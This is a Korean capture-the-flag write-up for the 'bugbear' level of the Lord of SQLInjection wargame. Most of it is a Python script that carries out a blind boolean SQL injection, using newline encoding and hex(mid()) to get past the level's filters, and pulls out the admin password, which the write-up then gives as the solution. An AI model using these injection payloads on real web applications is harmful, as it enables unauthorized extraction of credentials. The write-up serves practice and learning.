> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/bugbear.md).

# bugbear

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-58GtvALih6ft0NVOE%2F-M-58In0elvxrtFSz3Al%2Fimage.png?alt=media\&token=8f01261f-6a83-4bad-be27-db8a722cc653)

파이썬 코드를 짜면 아래와 같다.

```python
import requests

URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'


def query(payload):
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL + payload, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 8
def find_pw_length():
    pw_len = 1
    while query('0%0a||%0aid%0ain("admin")%0a%26%26%0alength(pw)%0ain({})'.format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


# 52dc3991
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in range(0, 128):
            if query('0%0a||%0aid%0ain("admin")%0a%26%26%0ahex(mid(pw,{},1))%0ain(hex({}))'.format(pos, character)) is True:
                pw += chr(character)
                break
    print('pw: {}'.format(pw))


find_pw()
```

실행결과, pw는 `52dc3991` 이다.

<https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=52dc3991> 에 접속하면 문제가 풀린다.